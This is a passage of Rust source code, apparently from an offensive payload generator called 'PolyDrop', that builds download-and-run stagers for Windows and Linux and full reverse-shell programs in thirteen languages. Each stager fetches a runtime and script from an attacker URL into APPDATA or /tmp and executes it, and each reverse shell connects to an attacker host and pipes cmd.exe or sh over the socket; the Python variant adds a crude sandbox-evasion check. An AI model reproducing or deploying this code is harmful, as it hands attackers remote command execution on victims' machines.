$env:APPDATA\\dotnet8.zip\nExpand-Archive -Path $env:APPDATA\\dotnet8.zip -DestinationPath $env:APPDATA\\dotnet8\nwget {}{}.fsx -O $env:APPDATA\\dotnet8\\\\{}.fsx\n& \"$env:APPDATA\\dotnet8\\\\dotnet.exe\" @('fsi', '$env:APPDATA\\dotnet8\\{}.fsx')\n", &get_lang_dl("fsharp", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 49 | let deno_payload = format!("wget {} -O $env:APPDATA\\deno-x86_64-pc-windows-msvc.zip\nExpand-Archive -Path $env:APPDATA\\deno-x86_64-pc-windows-msvc.zip -DestinationPath $env:APPDATA\nwget {}/{}.ts -O $env:APPDATA\\{}.ts\n& \"$env:APPDATA\\deno.exe\" @('run', '--allow-net', '--allow-run', \"$env:APPDATA\\{}.ts\")", &get_lang_dl("deno", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 50 | 51 | let win_payloads = payloads::Payloads::new( 52 | &tcl_payload, 53 | &php_payload, 54 | &crystal_payload, 55 | &julia_payload, 56 | &go_payload, 57 | &dart_payload, 58 | &d_payload, 59 | &v_payload, 60 | &node_payload, 61 | &bun_payload, 62 | &python_payload, 63 | &fsharp_payload, 64 | &deno_payload, 65 | ); 66 | let tcl_revshell = format!("set chan [socket {} {}]\nputs $chan \"PolyDrop Connection from TCL Payload\"\nwhile {{1}} {{\n\tflush $chan\n\tputs $chan [exec cmd /c [gets $chan]]\n\tflush $chan\n}}", &lhostarg, &lportarg); 67 | let php_revshell = format!(" array('pipe', 'r'),\n\t\t1 => array('pipe', 'w'),\n\t\t2 => array('pipe', 'w')\n\t);\n\tprivate $buffer = 1024;\n\tprivate $clen = 0;\n\tprivate $error = false;\n\tprivate $sdump = true;\n\tpublic function __construct($addr, $port) {{\n\t\t$this->addr = $addr;\n\t\t$this->port = $port;\n\t}}\n\tprivate function detect() {{\n\t\t$detected = true;\n\t\t$os = PHP_OS;\n\t\tif (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {{\n\t\t\t$this->os= 'LINUX';\n\t\t\t$this->shell = '/bin/sh';\n\t\t}} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {{\n\t\t\t$this->os= 'WINDOWS';\n\t\t\t$this->shell = 'cmd.exe';\n\t\t}} else {{\n\t\t\t$detected = false;\n\t\t\techo \"SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n\";\n\t\t}}\n\t\treturn $detected;\n\t}}\n\tprivate function daemonize() {{\n\t\t$exit = false;\n\t\tif (!function_exists('pcntl_fork')) {{\n\t\t\techo \"DAEMONIZE: pcntl_fork() does not exists, moving on...\\n\";\n\t\t}} else if (($pid = @pcntl_fork()) < 0) {{\n\t\t\techo \"DAEMONIZE: Cannot fork off the parent process, moving on...\\n\";\n\t\t}} else if ($pid > 0) {{\n\t\t\t$exit = true;\n\t\t\techo \"DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n\";\n\t\t}} else if (posix_setsid() < 0) {{\n\t\t\techo \"DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n\";\n\t\t}} else {{\n\t\t\techo \"DAEMONIZE: Completed successfully!\\n\";\n\t\t}}\n\t\treturn $exit;\n\t}}\n\tprivate function settings() {{\n\t\t@error_reporting(0);\n\t\t@set_time_limit(0);\n\t\t@umask(0);\n\t}}\n\tprivate function dump($data) {{\n\t\tif ($this->sdump) {{\n\t\t\t$data = str_replace('<', '<', $data);\n\t\t\t$data = str_replace('>', '>', $data);\n\t\t\techo $data;\n\t\t}}\n\t}}\n\tprivate function read($stream, $name, $buffer) {{\n\t\tif (($data = @fread($stream, $buffer)) === false) {{\n\t\t\t$this->error = true;\n\t\t\techo \"STRM_ERROR: Cannot read from {{$name}}, script will now exit...\\n\";\n\t\t}}\n\t\treturn $data;\n\t}}\n\tprivate function write($stream, $name, $data) {{\n\t\tif (($bytes = @fwrite($stream, $data)) === false) {{\n\t\t\t$this->error = true;\n\t\t\techo \"STRM_ERROR: Cannot write to {{$name}}, script will now exit...\\n\";\n\t\t}}\n\t\treturn $bytes;\n\t}}\n\tprivate function rw($input, $output, $iname, $oname) {{\n\t\twhile (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {{\n\t\t\tif ($this->os === 'WINDOWS' && $oname === 'STDIN') {{ $this->clen += strlen($data); }}\n\t\t\t$this->dump($data);\n\t\t}}\n\t}}\n\tprivate function brw($input, $output, $iname, $oname) {{\n\t\t$size = fstat($input)['size'];\n\t\tif ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {{\n\t\t\twhile ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {{\n\t\t\t\t$this->clen -= $bytes;\n\t\t\t\t$size -= $bytes;\n\t\t\t}}\n\t\t}}\n\t\twhile ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {{\n\t\t\t$size -= $bytes;\n\t\t\t$this->dump($data);\n\t\t}}\n\t}}\n\tpublic function run() {{\n\t\tif ($this->detect() && !$this->daemonize()) {{\n\t\t\t$this->settings();\n\t\t\t$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);\n\t\t\t@fwrite($socket, \"PolyDrop Connection from PHP Payload\n\");\n\t\t\tif (!$socket) {{\n\t\t\t\techo \"SOC_ERROR: {{$errno}}: {{$errstr}}\\n\";\n\t\t\t}} else {{\n\t\t\t\tstream_set_blocking($socket, false);\n\t\t\t\t$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);\n\t\t\t\tif (!$process) {{\n\t\t\t\t\techo \"PROC_ERROR: Cannot start the shell\\n\";\n\t\t\t\t}} else {{\n\t\t\t\t\tforeach ($pipes as $pipe) {{\n\t\t\t\t\t\tstream_set_blocking($pipe, false);\n\t\t\t\t\t}}\n\t\t\t\t\t$status = proc_get_status($process);\n\t\t\t\t\t@fwrite($socket, \"SOCKET: Shell has connected! PID: {{$status['pid']}}\\n\");\n\t\t\t\t\tdo {{\n\t\t\t\t\t\t$status = proc_get_status($process);\n\t\t\t\t\t\tif (feof($socket)) {{\n\t\t\t\t\t\t\techo \"SOC_ERROR: Shell connection has been terminated\\n\"; break;\n\t\t\t\t\t\t}} else if (feof($pipes[1]) || !$status['running']) {{\n\t\t\t\t\t\t\techo \"PROC_ERROR: Shell process has been terminated\\n\";break;\n\t\t\t\t\t\t}}\n\t\t\t\t\t\t$streams = array(\n\t\t\t\t\t\t\t'read' => array($socket, $pipes[1], $pipes[2]),\n\t\t\t\t\t\t\t'write' => null,\n\t\t\t\t\t\t\t'except' => null\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0);\n\t\t\t\t\t\tif ($num_changed_streams === false) {{\n\t\t\t\t\t\t\techo \"STRM_ERROR: stream_select() failed\\n\"; break;\n\t\t\t\t\t\t}} else if ($num_changed_streams > 0) {{\n\t\t\t\t\t\t\tif ($this->os === 'LINUX') {{\n\t\t\t\t\t\t\t\tif (in_array($socket , $streams['read'])) {{ $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); }}\n\t\t\t\t\t\t\t\tif (in_array($pipes[2], $streams['read'])) {{ $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); }}\n\t\t\t\t\t\t\t\tif (in_array($pipes[1], $streams['read'])) {{ $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }}\n\t\t\t\t\t\t\t}} else if ($this->os === 'WINDOWS') {{\n\t\t\t\t\t\t\t\tif (in_array($socket, $streams['read'])/*------*/) {{ $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); }}\n\t\t\t\t\t\t\t\tif (($fstat = fstat($pipes[2])) && $fstat['size']) {{ $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); }}\n\t\t\t\t\t\t\t\tif (($fstat = fstat($pipes[1])) && $fstat['size']) {{ $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }}\n\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t}}\n\t\t\t\t\t}} while (!$this->error);\n\t\t\t\t\tforeach ($pipes as $pipe) {{\n\t\t\t\t\t\tfclose($pipe);\n\t\t\t\t\t}}\n\t\t\t\t\tproc_close($process);\n\t\t\t\t}}\n\t\t\t\tfclose($socket);\n\t\t\t}}\n\t\t}}\n\t}}\n}}\necho '
';\n$sh = new Shell('{}', {});\n$sh->run();\nunset($sh);\necho '
';\n?>", &lhostarg, &lportarg); 68 | let crystal_revshell = format!("require \"process\"\nrequire \"socket\"\n\nc = Socket.tcp(Socket::Family::INET)\nc.connect(\"{}\", {})\nc.puts(\"PolyDrop Connection from Crystal Payload\")\nloop do\n\tm, l = c.receive\n\tp = Process.new(m.rstrip(\"\\n\"), output:Process::Redirect::Pipe, shell:true)\n\tc << p.output.gets_to_end\nend", &lhostarg, &lportarg); 69 | let julia_revshell = format!("using Sockets\n\nc = connect(\"{}\", {});\nmessage = \"PolyDrop Connection from Julia Payload\"\nmessage_bytes = string(message) |> x -> convert(Vector{{UInt8}}, x)\nwrite(c, message_bytes)\nwhile true\n\tcmd = readline(c, keep=true);\n\ttry\n\t\tprintln(c, read(`cmd.exe /c $cmd`, String));\n\tcatch e\n\t\tprint(c, e)\n\tend\nend", &lhostarg, &lportarg); 70 | let go_revshell = format!("package main;import\"os/exec\";import \"net\";import \"fmt\";func main(){{c,_:=net.Dial(\"tcp\",\"{}:{}\");message := \"PolyDrop Connection from Golang Payload\\n\";_, err := fmt.Fprintf(c, message);if err != nil {{fmt.Printf(\"Error sending message: %v\\n\", err);return}};cmd:=exec.Command(\"cmd.exe\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}}", &lhostarg, &lportarg); 71 | let dart_revshell = format!("import 'dart:io';\nimport 'dart:convert';\n\nmain() {{\n\tSocket.connect(\"{}\", {}).then((socket) {{\n\t\tvar message = \"PolyDrop Connection from Dart Payload\n\";var messageBytes = utf8.encode(message);socket.add(messageBytes);socket.listen((data) {{\n\t\t\tProcess.start('powershell.exe', []).then((Process process) {{\n\t\t\t\tprocess.stdin.writeln(new String.fromCharCodes(data).trim());\n\t\t\t\tprocess.stdout\n\t\t\t\t\t.transform(utf8.decoder)\n\t\t\t\t\t.listen((output) {{ socket.write(output); }});\n\t\t\t}});\n\t\t}},\n\t\tonDone: () {{\n\t\t\tsocket.destroy();\n\t\t}});\n\t}});\n}}", &lhostarg, &lportarg); 72 | let d_revshell = format!("import std.process, std.socket, std.conv;\n\nvoid main()\n{{\n\tSocket sock = new TcpSocket(new InternetAddress(\"{}\", {}));\n\tstring message = \"PolyDrop Connection from D-Lang Payload\n\";auto messageBytes = message.toUTF8();sock.send(messageBytes);\n\twhile (true)\n\t{{\n\t\tchar[] line;\n\t\tchar[1] buf;\n\t\twhile(sock.receive(buf))\n\t\t{{\n\t\t\tline ~= buf;\n\t\t\tif (buf[0] == '\\n')\n\t\t\t\tbreak;\n\t\t}}\n\t\tif (!line.length)\n\t\t\tbreak;\n\n\t\tauto os = executeShell(line);\n\t\tsock.send(os.output);\n\t}}\n}}", &lhostarg, &lportarg); 73 | let v_revshell = format!("module main\n\nimport net\nimport io\nimport os\n\nfn exec(path string) string {{\n\tmut out := ''\n\tmut line := ''\n\tmut cmd := os.Command{{\n\t\tpath: path\n\t}}\n\tcmd.start() or {{ panic(err) }}\n\n\tfor {{\n\t\tline = cmd.read_line()\n\t\tout += line + '\\n'\n\t\tif cmd.eof {{\n\t\t\treturn out\n\t\t}}\n\t}}\n\treturn out\n}}\n\nfn main() {{\n\tmut conn := net.dial_tcp('{}:{}')!\n\tmessage := \"PolyDrop Connection from V-Lang Payload\\n\";message_bytes := message.bytes();conn.write(message_bytes)!\n\tmut reader := io.new_buffered_reader(reader: conn)\n\tfor {{\n\t\tresult := reader.read_line() or {{ return }}\n\t\tconn.write_string(exec(result) + '\n') or {{ return }}\n\t}}\n}}", &lhostarg, &lportarg); 74 | let node_revshell = format!("(function(){{\n\tvar net = require(\"net\"),\n\t\tcp = require(\"child_process\"),\n\t\tsh = cp.spawn(\"cmd.exe\", []);\n\tvar client = new net.Socket();\n\tclient.connect({}, \"{}\", function(){{\n\t\tconst message = \"PolyDrop Connection from Node.js Payload\\n\";client.write(message);\n\t\tclient.pipe(sh.stdin);\n\t\tsh.stdout.pipe(client);\n\t\tsh.stderr.pipe(client);\n\t}});\n\treturn /a/;\n}})();", &lportarg, &lhostarg); 75 | let bun_revshell = format!("const net = require('net');\nconst {{ exec }} = require('child_process');\n\nconst IP = '{}';\nconst PORT = {};\n\nconst client = new net.Socket();\n\nclient.connect(PORT, IP, () => {{\n\tconsole.log('Connected to server');\n\tclient.write('PolyDrop Connection from Bun Payload\\n');\n}});\n\nclient.on('data', (data) => {{\n\texec(data.toString(), (error, stdout, stderr) => {{\n\t\tif (error) {{\n\t\t\tclient.write(`Error: ${{error.message}}\n`);\n\t\t\treturn;\n\t\t}}\n\t\tif (stderr) {{\n\t\t\tclient.write(`Stderr: ${{stderr}}\n`);\n\t\t\treturn;\n\t\t}}\n\t\tclient.write(stdout);\n\t}});\n}});\n\nclient.on('close', () => {{\n\tconsole.log('Connection closed');\n\tprocess.exit(0);\n}});", &lhostarg, &lportarg); 76 | let python_revshell = format!("import os\nimport socket\nimport subprocess\n\nif os.cpu_count() <= 2:\n\tquit()\n\nHOST = '{}'\nPORT = {}\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nmessage = \"PolyDrop Connection from Python Payload\\n\";s.sendall(message.encode())\n\nwhile 1:\n\ttry:\n\t\ts.send(str.encode(os.getcwd() + \"> \"))\n\t\tdata = s.recv(1024).decode(\"UTF-8\")\n\t\tdata = data.strip('\\n')\n\t\tif data == \"quit\": \n\t\t\tbreak\n\t\tif data[:2] == \"cd\":\n\t\t\tos.chdir(data[3:])\n\t\tif len(data) > 0:\n\t\t\tproc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n\t\t\tstdout_value = proc.stdout.read() + proc.stderr.read()\n\t\t\toutput_str = str(stdout_value, \"UTF-8\")\n\t\t\ts.send(str.encode(\"\\n\" + output_str))\n\texcept Exception as e:\n\t\tcontinue\n\ns.close()", &lhostarg, &lportarg); 77 | let fsharp_revshell = format!("open System\nopen System.Net\nopen System.Diagnostics\n\nlet rec asyncStdin (stream: System.Net.Sockets.NetworkStream, cmd: Process) =\n\tasync {{\n\t\tlet input = stream.ReadByte() |> Char.ConvertFromUtf32\n\t\tcmd.StandardInput.Write(input)\n\n\t\treturn! asyncStdin (stream, cmd)\n\t}}\n\nlet rec asyncStdout (stream: System.Net.Sockets.NetworkStream, cmd: Process) =\n\tasync {{\n\t\tlet output = cmd.StandardOutput.Read() |> Char.ConvertFromUtf32\n\t\tlet outbyte = System.Text.Encoding.UTF32.GetBytes(output)\n\t\tstream.Write(outbyte, 0, outbyte.Length)\n\n\t\treturn! asyncStdout (stream, cmd)\n\t}}\n\nlet main =\n\tlet client = new System.Net.Sockets.TcpClient()\n\n\tclient.Connect(\"{}\", {})\n\n\tlet stream = client.GetStream()\n\tlet message = \"PolyDrop Connection from F# Payload\\n\";let messageBytes = Encoding.UTF8.GetBytes(message);stream.Write(messageBytes, 0, messageBytes.Length)\n\tlet procStartInfo = ProcessStartInfo (\n\t\tFileName = \"cmd.exe\",\n\t\tRedirectStandardInput = true,\n\t\tRedirectStandardOutput = true,\n\t\tRedirectStandardError = true,\n\t\tUseShellExecute = false,\n\t\tCreateNoWindow = true\n\t)\n\n\tlet cmd = new Process(StartInfo = procStartInfo)\n\tlet err = cmd.Start()\n\n\tasyncStdin (stream, cmd) |> Async.Start\n\tasyncStdout (stream, cmd) |> Async.RunSynchronously\n\n\tstream.Flush()\n\n\tSystem.Threading.Thread.Sleep(TimeSpan.FromSeconds(30.0))\n\nmain", &lhostarg, &lportarg); 78 | let deno_revshell = format!("const IP = \"{}\";\nconst PORT = {};\n\nasync function connect(ip: string, port: number) {{\n\tconst conn = await Deno.connect({{ hostname: ip, port: port }});\n\tconsole.log(`Connected to ${{ip}}:${{port}}`);\n\n\tawait conn.write(new TextEncoder().encode(\"PolyDrop Connection from Deno Payload\\n\"));\n\n\tconst buffer = new Uint8Array(1024);\n\twhile (true) {{\n\t\tconst n = await conn.read(buffer);\n\t\tif (n === null) break;\n\t\tconst command = new TextDecoder().decode(buffer.subarray(0, n)).trim();\n\t\tconsole.log(`Received: ${{command}}`);\n\n\t\ttry {{\n\t\t\tconst process = Deno.run({{\n\t\t\t\tcmd: [\"cmd.exe\", \"/c\", command],\n\t\t\t\tstdout: \"piped\",\n\t\t\t\tstderr: \"piped\",\n\t\t\t}});\n\n\t\t\tconst output = await process.output();\n\t\t\tconst error = await process.stderrOutput();\n\n\t\t\tconst combinedOutput = new Uint8Array([...output, ...error]);\n\t\t\tawait conn.write(combinedOutput);\n\n\t\t\tprocess.close();\n\t\t}} catch (err) {{\n\t\t\tawait conn.write(new TextEncoder().encode(`Error: ${{err.message}}\n`));\n\t\t}}\n\t}}\n\n\tconn.close();\n}}\n\nconnect(IP, PORT);", &lhostarg, &lportarg); 79 | let reverse_shell = payloads::Codex::new( 80 | &tcl_revshell, 81 | &php_revshell, 82 | &crystal_revshell, 83 | &julia_revshell, 84 | &go_revshell, 85 | &dart_revshell, 86 | &d_revshell, 87 | &v_revshell, 88 | &node_revshell, 89 | &bun_revshell, 90 | &python_revshell, 91 | &fsharp_revshell, 92 | &deno_revshell, 93 | ); 94 | let p_res = if language == "tcl" { 95 | win_payloads.tcl_payload() 96 | } else if language == "php" { 97 | win_payloads.php_payload() 98 | } else if language == "crystal" { 99 | win_payloads.crystal_payload() 100 | } else if language == "julia" { 101 | win_payloads.julia_payload() 102 | } else if language == "golang" { 103 | win_payloads.go_payload() 104 | } else if language == "dart" { 105 | win_payloads.dart_payload() 106 | } else if language == "dlang" { 107 | win_payloads.d_payload() 108 | } else if language == "vlang" { 109 | win_payloads.v_payload() 110 | } else if language == "nodejs" { 111 | win_payloads.node_payload() 112 | } else if language == "bun" { 113 | win_payloads.bun_payload() 114 | } else if language == "python" { 115 | win_payloads.python_payload() 116 | } else if language == "fsharp" { 117 | win_payloads.fsharp_payload() 118 | } else if language == "deno" { 119 | win_payloads.deno_payload() 120 | } else if language == "empty" { 121 | "Building payload for every language...".to_string() 122 | } else { 123 | arguments::getargs() 124 | } 125 | .to_string(); 126 | 127 | let p_shell = if language == "tcl" { 128 | reverse_shell.tcl_revshell() 129 | } else if language == "php" { 130 | reverse_shell.php_revshell() 131 | } else if language == "crystal" { 132 | reverse_shell.crystal_revshell() 133 | } else if language == "julia" { 134 | reverse_shell.julia_revshell() 135 | } else if language == "golang" { 136 | reverse_shell.go_revshell() 137 | } else if language == "dart" { 138 | reverse_shell.dart_revshell() 139 | } else if language == "dlang" { 140 | reverse_shell.d_revshell() 141 | } else if language == "vlang" { 142 | reverse_shell.v_revshell() 143 | } else if language == "nodejs" { 144 | reverse_shell.node_revshell() 145 | } else if language == "bun" { 146 | reverse_shell.bun_revshell() 147 | } else if language == "python" { 148 | reverse_shell.python_revshell() 149 | } else if language == "fsharp" { 150 | reverse_shell.f_revshell() 151 | } else if language == "deno" { 152 | reverse_shell.deno_revshell() 153 | } else if language == "empty" { 154 | "Building payload for every language...".to_string() 155 | } else { 156 | arguments::getargs() 157 | } 158 | .to_string(); 159 | 160 | let p_ext = if language == "tcl" { 161 | ".tcl".to_string() 162 | } else if language == "php" { 163 | ".php".to_string() 164 | } else if language == "crystal" { 165 | ".cr".to_string() 166 | } else if language == "julia" { 167 | ".jl".to_string() 168 | } else if language == "golang" { 169 | ".go".to_string() 170 | } else if language == "dart" { 171 | ".dart".to_string() 172 | } else if language == "dlang" { 173 | ".d".to_string() 174 | } else if language == "vlang" { 175 | ".v".to_string() 176 | } else if language == "nodejs" { 177 | ".js".to_string() 178 | } else if language == "bun" { 179 | ".tsx".to_string() 180 | } else if language == "python" { 181 | ".py".to_string() 182 | } else if language == "fsharp" { 183 | ".fsx".to_string() 184 | } else if language == "deno" { 185 | ".ts".to_string() 186 | } else if language == "empty" { 187 | "Building payload for every language...".to_string() 188 | } else { 189 | arguments::getargs() 190 | } 191 | .to_string(); 192 | 193 | let ext = if payload == "pwsh" || payload == "PowerShell" || payload == "powershell" { 194 | ".ps1" 195 | } else { 196 | ".sh" 197 | } 198 | .to_string(); 199 | let outfile = output.to_string() + &ext; 200 | let revfile = output.to_string() + &p_ext; 201 | if allarg == "true" { 202 | for payload in [ 203 | &win_payloads.tcl_payload(), 204 | &win_payloads.php_payload(), 205 | &win_payloads.crystal_payload(), 206 | &win_payloads.julia_payload(), 207 | &win_payloads.go_payload(), 208 | &win_payloads.dart_payload(), 209 | &win_payloads.d_payload(), 210 | &win_payloads.v_payload(), 211 | &win_payloads.node_payload(), 212 | &win_payloads.bun_payload(), 213 | &win_payloads.python_payload(), 214 | &win_payloads.fsharp_payload(), 215 | &win_payloads.deno_payload(), 216 | ] 217 | .iter() 218 | { 219 | //println!("{}", payload); 220 | // Open a file with append option 221 | let mut data_file = OpenOptions::new() 222 | .create(true) 223 | .append(true) 224 | .open(&outfile) 225 | .expect("cannot open file"); 226 | 227 | // Write to a file 228 | data_file 229 | .write_all(payload.as_bytes()) 230 | .expect("write failed"); 231 | } 232 | let source_array = [ 233 | &reverse_shell.tcl_revshell(), 234 | &reverse_shell.php_revshell(), 235 | &reverse_shell.crystal_revshell(), 236 | &reverse_shell.julia_revshell(), 237 | &reverse_shell.go_revshell(), 238 | &reverse_shell.dart_revshell(), 239 | &reverse_shell.d_revshell(), 240 | &reverse_shell.v_revshell(), 241 | &reverse_shell.node_revshell(), 242 | &reverse_shell.bun_revshell(), 243 | &reverse_shell.python_revshell(), 244 | &reverse_shell.f_revshell(), 245 | &reverse_shell.deno_revshell(), 246 | ]; 247 | let ext_array = [ 248 | ".tcl".to_string(), 249 | ".php".to_string(), 250 | ".cr".to_string(), 251 | ".jl".to_string(), 252 | ".go".to_string(), 253 | ".dart".to_string(), 254 | ".d".to_string(), 255 | ".v".to_string(), 256 | ".js".to_string(), 257 | ".tsx".to_string(), 258 | ".py".to_string(), 259 | ".r".to_string(), 260 | ".fsx".to_string(), 261 | ".ts".to_string(), 262 | ]; 263 | for (revcode, revext) in source_array.iter().zip(ext_array.iter()) { 264 | let payloadfile = output.to_string() + &revext; 265 | let mut revshell_source = 266 | std::fs::File::create(payloadfile).expect("create failed"); 267 | revshell_source 268 | .write_all(revcode.as_bytes()) 269 | .expect("write failed"); 270 | } 271 | } else { 272 | let mut payload_main = std::fs::File::create(outfile).expect("create failed"); 273 | payload_main 274 | .write_all(p_res.as_bytes()) 275 | .expect("write failed"); 276 | let mut revshell_source = std::fs::File::create(revfile).expect("create failed"); 277 | revshell_source 278 | .write_all(p_shell.as_bytes()) 279 | .expect("write failed"); 280 | } 281 | } else if platform == "linux" { 282 | let tcl_payload = format!("wget {} -O /tmp/tclkit8.gz;gzip -d /tmp/tclkit8.gz;chmod +x /tmp/tclkit8;wget {}/{}.tcl -O /tmp/{}.tcl;/tmp/tclkit8 /tmp/{}.tcl", &get_lang_dl("tcl", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 283 | let php_payload = format!("wget {} -O /tmp/php8.tar.gz;tar xzvf /tmp/php8.tar.gz -C /tmp;chmod +x ./tmp/php;wget {}/{}.php -O /tmp/{}.php;/tmp/php /tmp/{}.php", &get_lang_dl("php", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 284 | let crystal_payload = format!("wget {} -O /tmp/crystal.tar.gz;tar xzvf crystal.tar.gz -C /tmp;chmod +x /tmp/crystal-1.12.1-1/bin/crystal;wget wget {}/{}.cr -O /tmp/{}.cr;/tmp/crystal-1.12.1-1/bin/crystal run /tmp/{}.cr", &get_lang_dl("crystal", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 285 | let julia_payload = format!("wget {} -O /tmp/julia.tar.gz;tar xzvf /tmp/julia.tar.gz -C /tmp;chmod +x /tmp/julia-1.10.3/bin/julia;wget {}/{}.jl -O /tmp/{}.jl;/tmp/julia-1.10.3/bin/julia /tmp/{}.jl", &get_lang_dl("julia", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 286 | let go_payload = format!("wget {} -O /tmp/go.tar.gz;tar xzvf /tmp/go.tar.gz -C /tmp;chmod +x /tmp/go/bin/go;wget {}/{}.go -O /tmp/{}.go;/tmp/go/bin/go run /tmp/{}.go", &get_lang_dl("golang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 287 | let dart_payload = format!("wget {} -O /tmp/dart.zip;unzip /tmp/dart.zip -d /tmp/dart-sdk/;chmod +x /tmp/dart-sdk/bin/dart;wget {}/{}.dart -O /tmp/{}.dart;/tmp/dart-sdk/bin/dart /tmp/{}.dart", &get_lang_dl("dart", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 288 | let d_payload = format!("wget {} -O /tmp/dmd.zip;unzip /tmp/dmd.zip -d /tmp/dmd2/;chmod +x /tmp/dmd2/linux/bin64/dmd;wget {}/{}.d -O /tmp/{}.d;/tmp/dmd2/linux/bin64/dmd /tmp/{}.d')\n", &get_lang_dl("dlang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 289 | let v_payload = format!("wget {} -O /tmp/v_linux.zip;unzip /tmp/v_linux.zip -d /tmp/v/;chmod +x /tmp/v/v;wget {}/{}.v -O /tmp/{}.v;/tmp/v/v run /tmp/{}.v", &get_lang_dl("vlang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 290 | let node_payload = format!("wget {} -O /tmp/node-v20.12.2-linux-x64.tar.gz;tar xzvf /tmp/node-v20.12.2-linux-x64.tar.gz -C /tmp;chmod +x /tmp/node-v20.12.2-linux-x64/bin/node;wget {}/{}.js -O /tmp/{}.js;/tmp/node-v20.12.2-linux-x64/bin/node /tmp/{}.js", &get_lang_dl("nodejs", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 291 | let bun_payload = format!("wget {} -O /tmp/bun.zip;unzip /tmp/bun.zip -d /tmp/bun-linux-x64/;chmod +x /tmp/bun-linux-x64/bun;wget {}/{}.tsx -O /tmp/{}.tsx;/tmp/bun-linux-x64/bun /tmp/{}.tsx", &get_lang_dl("bun", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 292 | let python_payload = format!( 293 | "wget {}/{}.py -O /tmp/{}.py;python3 /tmp/{}.py", 294 | &urlarg, &output, &output, &output 295 | ); 296 | let fsharp_payload = format!("wget {} -O /tmp/dotnet-sdk-8.0.204-linux-x64.tar.gz;tar xzvf /tmp/dotnet-sdk-8.0.204-linux-x64.tar.gz -C /tmp;chmod +x /tmp/dotnet;wget {}/{}.fsx -O /tmp/{}.fsx;/tmp/dotnet/dotnet fsi /tmp/{}.fsx", &get_lang_dl("fsharp", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 297 | let deno_payload = format!("wget {} -O /tmp/deno-x86_64-unknown-linux-gnu.zip;unzip /tmp/deno-x86_64-unknown-linux-gnu.zip -d /tmp/deno-x86_64-unknown-linux-gnu/;chmod +x /tmp/deno-x86_64-unknown-linux-gnu/deno;wget {}/{}.tsx -O /tmp/{}.tsx;/tmp/deno-x86_64-unknown-linux-gnu/deno run --allow-net --allow-run /tmp/{}.ts", &get_lang_dl("deno", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 298 | let nix_payloads = payloads::Payloads::new( 299 | &tcl_payload, 300 | &php_payload, 301 | &crystal_payload, 302 | &julia_payload, 303 | &go_payload, 304 | &dart_payload, 305 | &d_payload, 306 | &v_payload, 307 | &node_payload, 308 | &bun_payload, 309 | &python_payload, 310 | &fsharp_payload, 311 | &deno_payload, 312 | ); 313 | let tcl_revshell = format!("set chan [socket {} {}]\nputs $chan \"PolyDrop Connection from TCL Payload\"\nwhile {{1}} {{\n\tflush $chan\n\tputs $chan [puts \"Reverse Connection from TCL payload\" [gets $chan]]\n\tputs $chan [exec sh -c [gets $chan]]\n\tflush $chan\n}}", &lhostarg, &lportarg); 314 | let php_revshell = format!(" array('pipe', 'r'),\n\t\t1 => array('pipe', 'w'),\n\t\t2 => array('pipe', 'w')\n\t);\n\tprivate $buffer = 1024;\n\tprivate $clen = 0;\n\tprivate $error = false;\n\tprivate $sdump = true;\n\tpublic function __construct($addr, $port) {{\n\t\t$this->addr = $addr;\n\t\t$this->port = $port;\n\t}}\n\tprivate function detect() {{\n\t\t$detected = true;\n\t\t$os = PHP_OS;\n\t\tif (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {{\n\t\t\t$this->os= 'LINUX';\n\t\t\t$this->shell = '/bin/sh';\n\t\t}} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {{\n\t\t\t$this->os= 'WINDOWS';\n\t\t\t$this->shell = 'cmd.exe';\n\t\t}} else {{\n\t\t\t$detected = false;\n\t\t\techo \"SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n\";\n\t\t}}\n\t\treturn $detected;\n\t}}\n\tprivate function daemonize() {{\n\t\t$exit = false;\n\t\tif (!function_exists('pcntl_fork')) {{\n\t\t\techo \"DAEMONIZE: pcntl_fork() does not exists, moving on...\\n\";\n\t\t}} else if (($pid = @pcntl_fork()) < 0) {{\n\t\t\techo \"DAEMONIZE: Cannot fork off the parent process, moving on...\\n\";\n\t\t}} else if ($pid > 0) 